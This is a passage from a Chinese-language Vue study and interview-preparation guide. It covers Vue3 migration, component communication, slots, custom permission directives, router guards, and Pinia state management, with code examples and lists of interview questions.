const displayAmount = computed(() => formatCurrency(props.amount));
</script>

4.8 其他重要差异

① v-model 的变化(组件双向绑定)

<!-- Vue2:一个组件只能一个 v-model,多个要用 .sync -->
<Child v-model="title" />
<!-- 等价于 <Child :value="title" @input="title = $event" /> -->

<Child :name.sync="name" :age.sync="age" />
<!-- 等价于 <Child :name="name" @update:name="name = $event" ... /> -->

<!-- Vue3:支持多个 v-model,语法统一 -->
<Child v-model="title" />                      <!-- 默认 modelValue -->
<Child v-model:name="name" v-model:age="age" /> <!-- 具名 ✅ -->

<!-- 子组件接收 -->
<script setup>
const props = defineProps({
  modelValue: String,        // 默认的 v-model
  name: String,              // v-model:name
  age: Number                // v-model:age
});
const emit = defineEmits(['update:modelValue', 'update:name', 'update:age']);

function updateName(val) { emit('update:name', val); }
</script>

还可以自定义修饰符:

<Child v-model.capitalize="text" />
<script setup>
const props = defineProps({
  modelValue: String,
  modelModifiers: { default: () => ({}) }     // 修饰符会传到这里
});
const emit = defineEmits(['update:modelValue']);
function onInput(e) {
  let val = e.target.value;
  if (props.modelModifiers.capitalize) {
    val = val.charAt(0).toUpperCase() + val.slice(1);
  }
  emit('update:modelValue', val);
}
</script>

② 异步组件

// Vue2
const AsyncComp = () => import('./Comp.vue');

// Vue3:defineAsyncComponent + 完整状态管理
import { defineAsyncComponent } from 'vue';

const AsyncComp = defineAsyncComponent({
  loader: () => import('./Comp.vue'),
  loadingComponent: LoadingSpinner,      // 加载中显示
  errorComponent: ErrorDisplay,          // 加载失败显示
  delay: 200,                            // 延迟多久显示 loading(避免闪烁)
  timeout: 10000                         // 超时
});

配合路由懒加载(你的项目用得上):

// router/index.js —— 打包时每个路由单独成一个 chunk,首屏只加载必要代码
const routes = [
  { path: '/chat', component: () => import('@/views/ChatPage.vue') },
  { path: '/docs', component: () => import('@/views/DocManage.vue') },
  { path: '/dashboard', component: () => import('@/views/Dashboard.vue') }  // ECharts 单独打包
];

③ key 的变化

<!-- Vue2:v-if/v-else 分支要手动加 key,避免复用 -->
<div v-if="isEdit" key="edit">编辑中</div>
<div v-else key="view">查看中</div>

<!-- Vue3:自动生成不同的 key,不用手动加 ✅ -->
<div v-if="isEdit">编辑中</div>
<div v-else>查看中</div>

<!-- ⚠️ 但 v-for 的 key 依然必须加 -->
<div v-for="item in list" :key="item.id"></div>

④ 全局 API 变化

// Vue2:全局单例(多个 Vue 实例会互相污染)
import Vue from 'vue';
Vue.use(ElementUI);
Vue.prototype.$http = axios;
Vue.component('MyComp', MyComp);
new Vue({ render: h => h(App) }).$mount('#app');

// Vue3:createApp 返回独立实例(隔离,支持多个应用共存)
import { createApp } from 'vue';
const app = createApp(App);
app.use(ElementPlus);
app.config.globalProperties.$http = axios;   // 原型属性改名
app.component('MyComp', MyComp);
app.mount('#app');

为什么要改: Vue2 的全局 API 会影响所有 Vue 实例(测试时多个实例互相污染);Vue3 用 createApp 创建独立应用实例,互不影响。

4.9 Vue2 → Vue3 迁移实战(面试话术)

如果面试官问“你有 Vue2 迁移 Vue3 的经验吗”,用这段回答。

迁移步骤(我们项目的实际路径):

1. 评估:先升到 Vue 2.7(反向移植了 Composition API),让新旧写法共存
   ↓
2. 渐进式改造:新页面用 Composition API 写,老页面保持 Options API(Vue3 兼容两种写法)
   ↓
3. 替换废弃 API:
   - $set/$delete → 直接赋值/delete(都不用调方法了)
   - filter → computed 或工具函数
   - $on/$off 事件总线 → mitt
   - beforeDestroy → onBeforeUnmount
   ↓
4. 依赖升级:
   - Element UI → Element Plus(组件名从 el-xxx 基本不变,但部分 API 有差异)
   - Vuex → Pinia(去掉 mutations,actions 里直接改 state)
   - Vue Router 3 → 4(createRouter + createWebHistory)
   - vue-cli → Vite(配置文件从 vue.config.js 换成 vite.config.ts)
   ↓
5. 回归测试 + 性能验证

我遇到的三个实际坑(这段最有说服力,体现真实经验):

坑1:Element UI 升级 Element Plus 后,图标全没了。 Vue2 时代 Element UI 内置图标字体,直接 <i class="el-icon-edit"> 就能用;Element Plus 把图标拆成了独立包 @element-plus/icons-vue,必须单独安装并逐个注册(或用 unplugin-icons 自动引入)。我们的处理是按需注册用到的十几个图标,避免全量引入增大体积。

坑2:Vuex 的 mutations 在 Pinia 里没了,一开始不习惯。 Vuex 强制“同步改 state 走 mutation,异步走 action”,Pinia 直接去掉了 mutation,在 action 里可以随便改 state(同步异步都行)。这其实简化了代码——原来一个简单的赋值都要写 mutation,现在 state.count++ 一行搞定。改造时我们把 mutation 的逻辑合并进 action,代码量少了约 30%。

坑3:深度监听失效。 Vue2 里 watch(obj, handler, {deep:true}) 能监听整个对象;Vue3 里如果 watch 一个 reactive 对象,默认就是深度的,但如果 watch 的是 ref 包的对象,需要显式加 deep: true。我们有处配置项监听因此没触发,排查了半天。后来统一写 watch(() => ({...state}), handler, {deep:true}) 解决。


第四章 面试题汇总

# 题目 难度
1 Vue2 和 Vue3 的区别?(开放题,按 4.1 表格答) ⭐⭐⭐⭐⭐
2 Vue3 响应式为什么用 Proxy?解决了 Vue2 什么问题? ⭐⭐⭐⭐⭐
3 Options API 和 Composition API 的区别?各自优缺点? ⭐⭐⭐⭐⭐
4 为什么要有 Composition API?mixin 有什么问题? ⭐⭐⭐⭐
5 Vue3 性能提升体现在哪些方面? ⭐⭐⭐⭐
6 什么是 Tree-shaking?Vue3 怎么实现的? ⭐⭐⭐⭐
7 什么是 PatchFlag?Block Tree 是什么? ⭐⭐⭐⭐⭐
8 Vue3 生命周期和 Vue2 的对应关系? ⭐⭐⭐
9 Teleport 是什么?解决什么问题? ⭐⭐⭐⭐
10 Fragment 解决了什么问题? ⭐⭐⭐
11 Vue3 移除了哪些 API?filter 用什么替代? ⭐⭐⭐⭐
12 v-model 在 Vue3 有什么变化?怎么实现多个? ⭐⭐⭐⭐
13 Vue3 支持 IE11 吗?为什么? ⭐⭐⭐⭐
14 你有 Vue2 迁移 Vue3 的经验吗?遇到过什么坑? ⭐⭐⭐⭐⭐
15 createApp 和 Vue2 的 new Vue() 有什么区别? ⭐⭐⭐⭐
16 Suspense 是做什么的?生产环境能用吗? ⭐⭐⭐


第五章:组件化与通信

5.1 组件通信全方式(7 种,按场景选择)

面试常问“组件通信有哪些方式”,要能一口气说出 7 种并说明各自场景。

组件关系与对应方案:

  父组件 ─────────────────────────────► 子组件
         props(父传子)①
     ◄── emit(子传父)②
         v-model(双向语法糖)③

  父组件 ────────► 孙组件(跨多层)
         provide / inject(依赖注入)④
         $attrs(属性透传)⑥

  任意组件之间
         Pinia 状态管理 ⑤
         事件总线 mitt ⑦

  父组件直接调子组件方法
         ref / defineExpose

① props / emit(父子通信,最基础)

<!-- 父组件 InstructionPage.vue -->
<template>
  <InstructionForm
    :instruction="currentInstruction"      <!-- 父 → 子:传数据 -->
    :disabled="!canEdit"
    @submit="handleSubmit"                  <!-- 子 → 父:监听事件 -->
    @cancel="handleCancel"
  />
</template>

<script setup>
import { ref } from 'vue';
const currentInstruction = ref({ id: 1, amount: 0, type: 'PAY' });
const canEdit = ref(true);

function handleSubmit(formData) {
  console.log('子组件提交的数据', formData);
  // 调后端接口保存
}
function handleCancel() { /* 关闭表单 */ }
</script>
<!-- 子组件 InstructionForm.vue -->
<script setup>
// 声明 props(支持类型校验、默认值、必填)
const props = defineProps({
  instruction: {
    type: Object,
    required: true,
    default: () => ({})
  },
  disabled: { type: Boolean, default: false }
});

// 声明 emit(Vue3 支持类型化)
const emit = defineEmits(['submit', 'cancel']);

function onSubmit() {
  // ❌ 不要直接改 props!props 是只读的
  // props.instruction.amount = 100;

  // ✅ 通过 emit 通知父组件去改
  emit('submit', { ...props.instruction, amount: 100 });
}
</script>

<template>
  <el-form :model="instruction" :disabled="disabled">
    <el-button @click="onSubmit">提交</el-button>
    <el-button @click="emit('cancel')">取消</el-button>
  </el-form>
</template>

⚠️ 单向数据流(必考):

父组件 state ──props──► 子组件
     ▲                      │
     └──────emit事件────────┘

数据只能从父流向子(props 只读),子要改必须 emit 通知父改。
原因:如果子能直接改,多个子共享同一份数据时,改动的源头无法追溯,调试困难。

② v-model(双向绑定语法糖)

<!-- 父组件:v-model 语法糖 -->
<SearchInput v-model="keyword" />
<!-- 等价于: -->
<SearchInput
  :modelValue="keyword"
  @update:modelValue="keyword = $event"
/>

<!-- 具名 v-model(Vue3 支持多个) -->
<SearchInput v-model:keyword="kw" v-model:dateRange="range" />
<!-- 子组件 SearchInput.vue -->
<script setup>
const props = defineProps({ modelValue: String });
const emit = defineEmits(['update:modelValue']);

// 计算属性中转(getter 读 props,setter 发事件)← 优雅写法
const innerValue = computed({
  get: () => props.modelValue,
  set: (val) => emit('update:modelValue', val)
});
</script>

<template>
  <!-- 直接用 v-model 绑到 computed 上 -->
  <el-input v-model="innerValue" placeholder="搜索文档" />
</template>

③ provide / inject(跨层级依赖注入)

解决“props 层层透传”的痛点——爷爷给孙子的东西,不用经过爸爸。

❌ props 层层透传(中间组件被迫接收不需要的属性)
Root ──props──► Parent ──props──► Child ──props──► GrandChild
     (Parent/Child 根本不用这些数据,纯当搬运工)

✅ provide / inject(直接跨层)
Root ─────── provide ──────────────► GrandChild
                                        inject
<!-- 祖先组件 App.vue -->
<script setup>
import { provide, ref, readonly } from 'vue';

const user = ref({ id: 1, name: '朱宏晖', roles: ['admin'] });
const theme = ref('dark');

// 提供数据(后代任意层级都能注入)
provide('currentUser', readonly(user));    // ★ readonly 防止后代乱改
provide('theme', theme);

// 同时提供修改方法(受控修改)
provide('updateUser', (newUser) => { user.value = newUser; });
</script>
<!-- 任意后代组件(不管隔几层) -->
<script setup>
import { inject } from 'vue';

const user = inject('currentUser');
const theme = inject('theme');

// 带默认值(祖先没提供时用)
const locale = inject('locale', ref('zh-CN'));
</script>

<template>
  <div :class="theme">当前用户:{{ user.name }}</div>
</template>

⚠️ 注意: provide/inject 会让组件耦合变紧(不知道数据哪来的),适合“全局配置”类数据(主题、用户信息、语言),不适合业务数据流。业务数据用 Pinia。

④ Pinia(全局状态管理,见 6.3 节详解)

⑤ 事件总线 mitt(极少用)

// Vue2 用 this.$on/$emit 做事件总线,Vue3 移除了,改用第三方 mitt
import mitt from 'mitt';
export const emitter = mitt();

// A 组件发事件
emitter.emit('docDeleted', { id: 1 });

// B 组件监听
onMounted(() => {
  emitter.on('docDeleted', handleDeleted);
});
onUnmounted(() => {
  emitter.off('docDeleted', handleDeleted);   // ★ 必须清理,否则内存泄漏
});

⚠️ 建议: 大部分场景用 Pinia 或 props/emit 就够了,事件总线会让数据流难以追踪,能不用就不用。

⑥ $attrs(属性透传)

<!-- 场景:封装 el-input,但不想一个个声明 props -->
<!-- 子组件 MyInput.vue -->
<script setup>
// 不声明任何 props
defineOptions({ inheritAttrs: false });    // 禁止自动挂到根元素
</script>

<template>
  <div class="my-input-wrapper">
    <!-- v-bind="$attrs" 把父组件传来的所有属性透传给内部 el-input -->
    <el-input v-bind="$attrs" />
  </div>
</template>

<!-- 父组件使用:placeholder/clearable 等自动透传 -->
<MyInput placeholder="请输入" clearable maxlength="100" />

⑦ ref / defineExpose(父调子方法)

<!-- 子组件 -->
<script setup>
import { ref } from 'vue';
const formData = ref({});

function validate() { /* 校验逻辑 */ return true; }
function reset() { formData.value = {}; }

// ★ Vue3 中 <script setup> 默认是封闭的,必须显式暴露父组件才能访问
defineExpose({ validate, reset, formData });
</script>

<!-- 父组件 -->
<script setup>
const formRef = ref(null);
async function submit() {
  const valid = await formRef.value.validate();   // 调子组件方法
  if (valid) { /* 提交 */ }
}
</script>
<template>
  <MyForm ref="formRef" />
  <el-button @click="submit">提交</el-button>
</template>

⚠️ Vue3 变化: <script setup> 组件默认不暴露任何东西,必须用 defineExpose 显式声明(Vue2 里父组件能通过 $refs 直接访问子组件所有属性)。


5.2 插槽 Slot(组件内容分发)

小白讲解: 插槽就是“组件的占位符”——父组件可以把任意内容塞进子组件的指定位置。类比:子组件是个相框,插槽是相框的开口,父组件决定放什么照片。

三种插槽

<!-- ① 默认插槽 -->
<!-- 子组件 Card.vue -->
<template>
  <div class="card">
    <slot></slot>          <!-- 父组件传的内容放这里 -->
  </div>
</template>

<!-- 父组件 -->
<Card>
  <p>这是卡片内容</p>       <!-- 自动填进 <slot> -->
</Card>


<!-- ② 具名插槽(多个位置) -->
<!-- 子组件 Dialog.vue -->
<template>
  <div class="dialog">
    <header><slot name="header">默认标题</slot></header>   <!-- 有默认内容 -->
    <main><slot></slot></main>                              <!-- 默认插槽 -->
    <footer><slot name="footer"></slot></footer>
  </div>
</template>

<!-- 父组件 -->
<Dialog>
  <template #header>         <!-- # 是 v-slot: 的简写 -->
    <h3>删除确认</h3>
  </template>

  <p>确定要删除这条指令吗?</p>    <!-- 没写 template 的就是默认插槽 -->

  <template #footer>
    <el-button @click="ok">确定</el-button>
  </template>
</Dialog>


<!-- ③ 作用域插槽(子传数据给插槽内容)★ 重点 -->
<!-- 子组件 DataTable.vue:把每行数据暴露给父组件,让父决定怎么渲染 -->
<template>
  <table>
    <tr v-for="(item, index) in data" :key="item.id">
      <!-- 把 item/index 作为插槽的属性传给父组件 -->
      <slot :row="item" :index="index" :column="columns">
        <!-- 默认渲染(父组件没提供插槽内容时用) -->
        {{ item }}
      </slot>
    </tr>
  </table>
</template>

<!-- 父组件:通过解构拿到子组件的数据 -->
<DataTable :data="docList">
  <template #default="{ row, index }">
    <td>{{ index + 1 }}</td>
    <td>{{ row.fileName }}</td>
    <td>
      <!-- 父组件完全控制这一格怎么渲染 -->
      <el-tag :type="row.status === 'DONE' ? 'success' : 'info'">
        {{ row.status }}
      </el-tag>
    </td>
  </template>
</DataTable>

你的项目实战(指令列表的状态列):

<!-- 用作用域插槽让不同页面自定义操作列 -->
<InstructionTable :data="list">
  <template #actions="{ row }">
    <!-- 复核页面只有"复核"按钮 -->
    <el-button v-if="row.status === 'REVIEWING'" @click="review(row)">复核</el-button>
    <!-- 出款页面只有"出款"按钮 -->
    <el-button v-if="row.status === 'APPROVED'" @click="pay(row)">出款</el-button>
  </template>
</InstructionTable>

Element Plus 的 el-table 就是典型的作用域插槽:

<el-table :data="tableData">
  <el-table-column label="文件名" prop="fileName" />
  <el-table-column label="操作">
    <template #default="{ row, $index }">
      <!-- row = 当前行数据,$index = 行索引 -->
      <el-button @click="edit(row)">编辑</el-button>
      <el-button @click="del(row, $index)">删除</el-button>
    </template>
  </el-table-column>
</el-table>

5.3 keep-alive(组件缓存)

作用: 缓存不活动的组件实例,保留状态、避免重新渲染。

<template>
  <!-- 切换 tab 时组件不销毁,保留滚动位置、表单内容等 -->
  <KeepAlive :include="['ChatPage', 'DocManage']" :max="5">
    <component :is="currentComponent" />
  </KeepAlive>
</template>

属性:

属性 说明
include 只缓存指定组件(用组件 name 匹配)
exclude 排除指定组件
max 最多缓存多少个(超出销毁最久未用的,LRU)

生命周期:

onActivated(() => {
  // 组件被激活(从缓存中恢复显示)
  chart?.resize();          // 重新计算图表尺寸
  startPolling();           // 恢复轮询
});

onDeactivated(() => {
  // 组件失活(被缓存起来,但没销毁)
  stopPolling();            // 暂停轮询,省资源
});

⚠️ 注意: 被 keep-alive 缓存的组件不会触发 onUnmounted,所以清理逻辑要放在 onDeactivated 里(或者同时写两处)。

你的项目场景: 能源大屏页面切换后回来,图表要重新 resize(因为缓存期间容器尺寸可能变了),轮询要恢复。

5.4 自定义指令

// main.js 全局注册
app.directive('focus', {
  mounted(el) { el.focus(); }
});

// 使用:<input v-focus />

// 局部注册(<script setup> 中,变量名必须是 vXxx)
const vPermission = {
  mounted(el, binding) {
    // binding.value 是指令的值
    const { value: requiredPerm } = binding;
    const userPerms = store.permissions;
    if (!userPerms.includes(requiredPerm)) {
      el.remove();           // 没有权限就移除元素
      // 或 el.style.display = 'none'
    }
  }
};

// 使用:<el-button v-permission="'instruction:delete'">删除</el-button>

按钮级权限指令(你的项目一写了“按钮级权限控制”):

// directives/permission.js
import { useUserStore } from '@/stores/user';

export const permission = {
  mounted(el, binding) {
    const { value } = binding;               // v-permission="'doc:delete'"
    const userStore = useUserStore();
    const permissions = userStore.permissions;   // ['doc:add', 'doc:delete', ...]

    if (value && value instanceof Array && value.length > 0) {
      const hasPermission = permissions.some(p => value.includes(p));
      if (!hasPermission) {
        el.parentNode?.removeChild(el);      // 无权限直接移除 DOM
      }
    } else {
      throw new Error('需要指定权限标识,如 v-permission="[\'doc:delete\']"');
    }
  }
};

// 使用
<el-button v-permission="['instruction:delete']">删除指令</el-button>
<el-button v-permission="['instruction:audit']">审核</el-button>

自定义指令的钩子:

钩子 时机
created 元素属性初始化前
beforeMount 插入 DOM 前
mounted 插入 DOM 后(最常用)
beforeUpdate 更新前
updated 更新后
beforeUnmount 卸载前
unmounted 卸载后(清理)

5.5 组件封装实践(简历可讲的案例)

案例1:金额输入组件(资产托管项目)

<!-- components/AmountInput.vue -->
<script setup lang="ts">
import { computed } from 'vue';

interface Props {
  modelValue: string;        // 后端 BigDecimal 序列化成 String
  precision?: number;        // 小数位数
  max?: number;              // 最大值
  disabled?: boolean;
}
const props = withDefaults(defineProps<Props>(), {
  precision: 2, max: 999999999999, disabled: false
});
const emit = defineEmits(['update:modelValue']);

// 展示用:格式化成千分位
const displayValue = computed(() => {
  if (!props.modelValue) return '';
  return Number(props.modelValue).toLocaleString('zh-CN', {
    minimumFractionDigits: props.precision,
    maximumFractionDigits: props.precision
  });
});

function handleInput(e: Event) {
  const input = e.target as HTMLInputElement;
  // ① 只允许数字和小数点
  let val = input.value.replace(/[^\d.]/g, '');
  // ② 只保留一个小数点
  const parts = val.split('.');
  if (parts.length > 2) val = parts[0] + '.' + parts.slice(1).join('');
  // ③ 限制小数位数
  if (parts[1]?.length > props.precision) {
    val = parts[0] + '.' + parts[1].slice(0, props.precision);
  }
  // ④ 限制最大值
  if (Number(val) > props.max) val = String(props.max);

  input.value = val;
  emit('update:modelValue', val);      // 传原始字符串给后端(避免精度丢失)
}
</script>

<template>
  <el-input
    :model-value="displayValue"
    :disabled="disabled"
    @input="handleInput"
    placeholder="请输入金额"
  >
    <template #prefix>¥</template>
  </el-input>
</template>

为什么这么设计(面试话术): “资产托管系统涉及真实资金,金额输入必须做严格校验。我们封装了金额组件:① 过滤非数字字符;② 只允许一个小数点;③ 限制小数位数(默认 2 位,符合金额规范);④ 超过上限自动截断。关键是传给后端的始终是原始字符串,因为 Java BigDecimal 序列化成 String 能避免 JS 双精度浮点在大额场景丢精度——展示时格式化成千分位,但提交的是原始值。”

案例2:ECharts 图表组件封装(能源大屏项目)

详细实现见第七章 7.8 节,这里先看封装思路。

// composables/useChart.js —— 把 ECharts 的初始化/更新/销毁/自适应封装成可复用的逻辑
import { ref, onMounted, onUnmounted, onActivated, onDeactivated, nextTick } from 'vue';
import * as echarts from 'echarts';

export function useChart(optionGetter) {
  const chartRef = ref(null);
  let chart = null;
  let resizeObserver = null;

  onMounted(async () => {
    await nextTick();                        // 等容器渲染完(必须有尺寸)
    chart = echarts.init(chartRef.value);
    chart.setOption(optionGetter());

    // 容器尺寸变化自动 resize(比监听 window.resize 更准)
    resizeObserver = new ResizeObserver(() => chart?.resize());
    resizeObserver.observe(chartRef.value);
  });

  onUnmounted(() => {
    resizeObserver?.disconnect();
    chart?.dispose();                        // ★ 必须销毁,否则内存泄漏
    chart = null;
  });

  // keep-alive 场景
  onActivated(() => chart?.resize());
  onDeactivated(() => { /* 可暂停动画 */ });

  // 外部更新数据
  function updateOption(newOption) {
    chart?.setOption(newOption);             // 增量更新(不用重新 init)
  }

  return { chartRef, updateOption, getChart: () => chart };
}

第五章 面试题汇总

# 题目 难度
1 组件通信有哪些方式?各自适用什么场景? ⭐⭐⭐⭐⭐
2 什么是单向数据流?为什么要这样设计? ⭐⭐⭐⭐
3 v-model 的原理?Vue3 怎么实现多个 v-model? ⭐⭐⭐⭐
4 provide/inject 的优缺点?适合什么场景? ⭐⭐⭐⭐
5 插槽有哪几种?作用域插槽解决什么问题? ⭐⭐⭐⭐
6 keep-alive 的作用?生命周期怎么变? ⭐⭐⭐⭐
7 Vue3 中父组件怎么调用子组件的方法? ⭐⭐⭐⭐
8 $attrs 是什么?有什么用? ⭐⭐⭐
9 怎么实现按钮级权限控制? ⭐⭐⭐⭐
10 自定义 directive 的钩子有哪些? ⭐⭐⭐

第六章:路由与状态管理

6.1 Vue Router

两种路由模式

hash 模式 history 模式
URL 样子 http://xx.com/#/docs http://xx.com/docs
原理 监听 hashchange 事件 HTML5 history.pushState API
刷新 404 ❌ 不会(# 后的不发给服务器) ⚠️ 会(服务器没这个路径)
服务端配置 不需要 需要(Nginx 配 try_files)
兼容性 好 IE10+
锚点功能 ❌ 冲突 ✅
import { createRouter, createWebHashHistory, createWebHistory } from 'vue-router';

const router = createRouter({
  history: createWebHistory(),      // history 模式(推荐,URL 干净)
  // history: createWebHashHistory(), // hash 模式(不需要服务端配合)
  routes: [...]
});

⚠️ history 模式 404 的解决(Nginx 配置):

location / {
  root /usr/share/nginx/html;
  index index.html;
  try_files $uri $uri/ /index.html;   # ★ 找不到就返回 index.html,交给前端路由
}

原理: 用户直接访问 /docs 时,Nginx 找不到这个静态文件,就返回 index.html,前端 Router 接管后根据 URL 渲染对应页面。

路由守卫(权限控制的核心)

导航流程:
  ① 导航被触发
  ② 调用失活组件的 beforeRouteLeave 守卫
  ③ 调用全局 beforeEach 守卫      ★ 权限判断在这里
  ④ 调用重用组件的 beforeRouteUpdate
  ⑤ 调用路由配置的 beforeEnter
  ⑥ 解析异步路由组件
  ⑦ 调用激活组件的 beforeRouteEnter
  ⑧ 调用全局 beforeResolve
  ⑨ 导航被确认
  ⑩ 调用全局 afterEach 守卫        ★ 这里没有 next,导航已完成
  ⑪ 触发 DOM 更新
// router/index.js
router.beforeEach((to, from, next) => {
  // to: 即将进入的路由   from: 即将离开的路由
  const token = localStorage.getItem('token');
  const userStore = useUserStore();

  // ① 未登录且不是登录页 → 跳登录
  if (!token && to.path !== '/login') {
    next({ path: '/login', query: { redirect: to.fullPath } });  // 记住原地址
    return;
  }

  // ② 已登录但访问登录页 → 跳首页
  if (token && to.path === '/login') {
    next({ path: '/' });
    return;
  }

  // ③ 权限校验(路由元信息里配了 roles)
  if (to.meta.roles && !to.meta.roles.some(r => userStore.roles.includes(r))) {
    next({ path: '/403' });         // 无权限
    return;
  }

  // ④ 动态标题
  document.title = to.meta.title ? `${to.meta.title} - 知识库助手` : '知识库助手';

  // ⑤ 进度条
  NProgress.start();

  next();                            // ★ 必须调用,否则导航卡住
});

router.afterEach((to, from) => {
  NProgress.done();                  // 结束进度条
  // 埋点上报页面访问
});

⚠️ 常见错误:忘记调用 next() 导致页面白屏。

路由懒加载(首屏优化)

const routes = [
  {
    path: '/dashboard',
    // 打包时单独成 chunk,访问时才加载(ECharts 体积大,必须懒加载)
    component: () => import('@/views/Dashboard.vue'),
    meta: { title: '监控大屏', roles: ['admin'] }
  },
  {
    path: '/chat',
    component: () => import(/* webpackChunkName: "rag" */ '@/views/ChatPage.vue'),
    meta: { title: '智能问答' }
  }
];

原理: import() 返回 Promise,构建工具会把它单独打包成一个 JS 文件,访问该路由时才发起请求加载。

6.2 权限路由(你的项目一写了“按钮级权限”)

两种权限粒度:

① 页面级权限(菜单/路由):没权限就看不到菜单、访问路由被拦截
   → 用路由守卫 + 动态路由

② 按钮级权限(操作):菜单能看到,但某些按钮(删除/审核)不显示
   → 用自定义指令 v-permission(见 5.4)

动态路由(后端返回菜单,前端动态注册)

// 方案:登录后根据后端返回的权限列表,动态生成可访问的路由

// ① 定义全部路由表(含权限标识)
export const asyncRoutes = [
  { path: '/instruction', component: Layout, meta: { roles: ['instruction:view'] },
    children: [
      { path: 'list', component: () => import('@/views/instruction/List.vue'),
        meta: { roles: ['instruction:view'] } },
      { path: 'audit', component: () => import('@/views/instruction/Audit.vue'),
        meta: { roles: ['instruction:audit'] } }     // 只有审核员能访问
    ]
  },
  { path: '/admin', component: Layout, meta: { roles: ['admin'] },
    children: [/* 管理员页面 */] }
];

// ② 递归过滤出当前用户有权访问的路由
function filterRoutes(routes, userPerms) {
  return routes.filter(route => {
    if (!route.meta?.roles) return true;              // 没配权限 → 公开
    const hasPerm = route.meta.roles.some(r => userPerms.includes(r));
    if (hasPerm && route.children) {
      route.children = filterRoutes(route.children, userPerms);   // 递归子路由
    }
    return hasPerm;
  });
}

// ③ 登录后动态添加
const userStore = useUserStore();
const accessibleRoutes = filterRoutes(asyncRoutes, userStore.permissions);
accessibleRoutes.forEach(route => router.addRoute(route));

// ⚠️ 注意:addRoute 添加的路由,刷新页面会丢失
// 解决:把权限信息存 Pinia + 持久化,刷新时重新 addRoute

6.3 Pinia vs Vuex

Vue3 官方推荐 Pinia,Vuex 已停止新功能开发。面试要能说清为什么。

核心区别

Vuex (Vue2) Pinia (Vue3)
mutations ✅ 必须(同步改 state) ❌ 移除(action 里直接改)
modules 需要嵌套 modules(复杂) 扁平的多个 store(简单)
TypeScript 支持差(类型推导困难) ✅ 原生 TS,类型完美推导
代码量 多(state/mutations/actions 三段) 少(state + actions)
异步 actions 里异步,mutations 同步 actions 里同步异步都行
语法 this.$store.commit('xxx') 直接 store.xxx = value

代码对比

// ============ Vuex 写法(繁琐)============
// store/user.js
export default {
  namespaced: true,
  state: () => ({
    userInfo: null,
    permissions: []
  }),
  mutations: {                          // ← 同步改 state,样板代码
    SET_USER_INFO(state, info) { state.userInfo = info; },
    SET_PERMISSIONS(state, perms) { state.permissions = perms; }
  },
  actions: {                            // ← 异步逻辑
    async fetchUserInfo({ commit }) {
      const res = await api.getUserInfo();
      commit('SET_USER_INFO', res.data);        // 必须 commit
      commit('SET_PERMISSIONS', res.data.roles);
    }
  },
  getters: {
    isAdmin: state => state.permissions.includes('admin')
  }
};

// 组件中使用
import { mapState, mapActions } from 'vuex';
export default {
  computed: { ...mapState('user', ['userInfo']) },
  methods: { ...mapActions('user', ['fetchUserInfo']) }
};
// ============ Pinia 写法(简洁)============
// stores/user.js
import { defineStore } from 'pinia';
import { ref, computed } from 'vue';

export const useUserStore = defineStore('user', () => {
  // ① state(用 ref)
  const userInfo = ref(null);
  const permissions = ref([]);
  const token = ref(localStorage.getItem('token') || '');

  // ② getters(用 computed)
  const isAdmin = computed(() => permissions.value.includes('admin'));
  const userName = computed(() => userInfo.value?.name ?? '未登录');

  // ③ actions(普通函数,同步异步都行,直接改 state)
  async function fetchUserInfo() {
    const res = await api.getUserInfo();
    userInfo.value = res.data;          // ← 直接改!不用 commit
    permissions.value = res.data.roles;
  }

  function logout() {
    userInfo.value = null;
    permissions.value = [];
    token.value = '';
    localStorage.removeItem('token');
  }

  return { userInfo, permissions, token, isAdmin, userName, fetchUserInfo, logout };
});

// 组件中使用
import { useUserStore } from '@/stores/user';
const userStore = useUserStore();
userStore.fetchUserInfo();
console.log(userStore.userName);        // ✅ 类型完美推导
userStore.logout();

⚠️ 解构 store 会丢失响应式,要用 storeToRefs:

import { storeToRefs } from 'pinia';
const userStore = useUserStore();

// ❌ 直接解构:userName 是普通值,不会响应
const { userName } = userStore;

// ✅ 用 storeToRefs(只转换 state/getters,函数不用转)
const { userName, permissions } = storeToRefs(userStore);
console.log(userName.value);            // 需要 .value
// 函数可以直接解构(不需要响应式)
const { fetchUserInfo } = userStore;

持久化(刷新后数据不丢)

// 方案1:手动同步 localStorage
token.value = localStorage.getItem('token') || '';
watch(token, (val) => localStorage.setItem('token', val));

// 方案2:用插件 pinia-plugin-persistedstate
import piniaPluginPersistedstate from 'pinia-plugin-persistedstate';
const pinia = createPinia();
pinia.use(piniaPluginPersistedstate);

export const useUserStore = defineStore('user', () => { /* ... */ }, {
  persist: {
    key: 'user-store',
    paths: ['token', 'userInfo'],       // 只持久化部分字段(敏感数据不存)
    storage: sessionStorage             // 用 sessionStorage 更安全
  }
});

6.4 Pinia 实战(你的 RAG 项目)

// stores/chat.js —— 对话状态管理
import { defineStore } from 'pinia';
import { ref, computed } from 'vue';

export const useChatStore = defineStore('chat', () => {
  // ===== state =====
  const messages = ref([]);              // 对话记录
  const sessions = ref([]);              // 会话列表
  const currentSessionId = ref(null);
  const generating = ref(false);         // 是否正在生成(全局,控制输入框禁用)

  // ===== getters =====
  const currentMessages = computed(() =>
    messages.value.filter(m => m.sessionId === currentSessionId.value)
  );
  const hasGenerating = computed(() => generating.value);

  // ===== actions =====
  function addMessage(msg) {
    messages.value.push({
      id: crypto.randomUUID(),
      sessionId: currentSessionId.value,
      createTime: Date.now(),
      ...msg
    });
  }

  // SSE 流式更新最后一条消息(你的核心场景)
  function appendToLastMessage(chunk) {
    const last = messages.value[messages.value.length - 1];
    if (last && last.role === 'assistant') {
      last.content += chunk;             // 响应式自动刷新界面(打字机效果)
    }
  }

  function createSession() {
    const id = crypto.randomUUID();
    sessions.value.push({ id, title: '新对话', createTime: Date.now() });
    currentSessionId.value = id;
    return id;
  }

  function clearCurrentSession() {
    messages.value = messages.value.filter(m => m.sessionId !== currentSessionId.value);
  }

  return {
    messages, sessions, currentSessionId, generating,
    currentMessages, hasGenerating,
    addMessage, appendToLastMessage, createSession, clearCurrentSession
  };
}, {
  persist: { paths: ['sessions', 'messages'] }   // 刷新后对话记录还在
});

第六章 面试题汇总

# 题目 难度
1 hash 和 history 路由模式的区别? ⭐⭐⭐⭐
2 history 模式刷新 404 怎么解决? ⭐⭐⭐⭐
3 路由守卫有哪些?执行顺序? ⭐⭐⭐⭐
4 怎么实现动态路由和权限控制? ⭐⭐⭐⭐⭐
5 页面级权限和按钮级权限怎么实现? ⭐⭐⭐⭐
6 路由懒加载的原理和好处? ⭐⭐⭐⭐
7 Pinia 和 Vuex 的区别?为什么用 Pinia? ⭐⭐⭐⭐
8 Pinia 解构为什么会丢失响应式?怎么解决? ⭐⭐⭐⭐
